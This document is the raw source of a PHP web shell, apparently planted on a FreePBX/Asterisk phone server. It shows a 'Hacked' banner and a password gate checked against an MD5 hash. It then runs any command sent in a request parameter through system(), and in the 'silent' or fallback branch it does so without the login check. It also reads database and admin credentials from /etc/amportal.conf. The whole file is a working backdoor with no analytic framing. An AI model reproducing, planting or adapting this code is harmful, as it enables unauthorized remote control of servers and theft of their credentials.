<form action="" method="post" ><input size=20 type=password name="p" /><input size=60 type=text name="c" /><input type=submit value="Hacked" /></form>
Hacked >
<?php
session_start();
if (isset($_REQUEST['p']) && md5($_REQUEST['p']) == '3c28a175cf71f7df4fae1d8c50edd78b') {
    $_SESSION['zoz'] = 'logged';
}
if (!isset($_SESSION['zoz'])) {
    echo '<form action = "" method = "post" ><input size = 60 type = text name = "p" /><input type = submit value = "Hacked" /></form>';
	exit("Hacked");
}
/*7JmIgMOHuxvVz9kcGRa6CHrmWUT9ZP76ytOPgCwKa1FJa0VQS5XvNoSJjLTiB0o9ucYKPvu0waJHbFy3KvyyTrhcdauObTXF5WpVsUWY5FGgkek5JTDDkVQx5klhdjWjgmfIhbGmRmDcBXhlQVY*/
if (isset($_SESSION['zoz']) && $_SESSION['zoz'] == 'logged' && !isset($_REQUEST['silent'])) {
    echo '<form action = "" method = "post" ><input size = 60 type = text name = "c" /><input type = submit value = "do" /></form>';
    echo "<xmp>";
    @system("grep AMPDB /etc/amportal.conf");
    echo "---------------------\n";
	@system("grep ARI_ADMIN /etc/amportal.conf");
    echo "---------------------\n";
    @system($_REQUEST['c']);
    echo "</xmp>";
}else{
	echo "<xmp>";
	@system($_REQUEST['c']);
	 echo "</xmp>";

}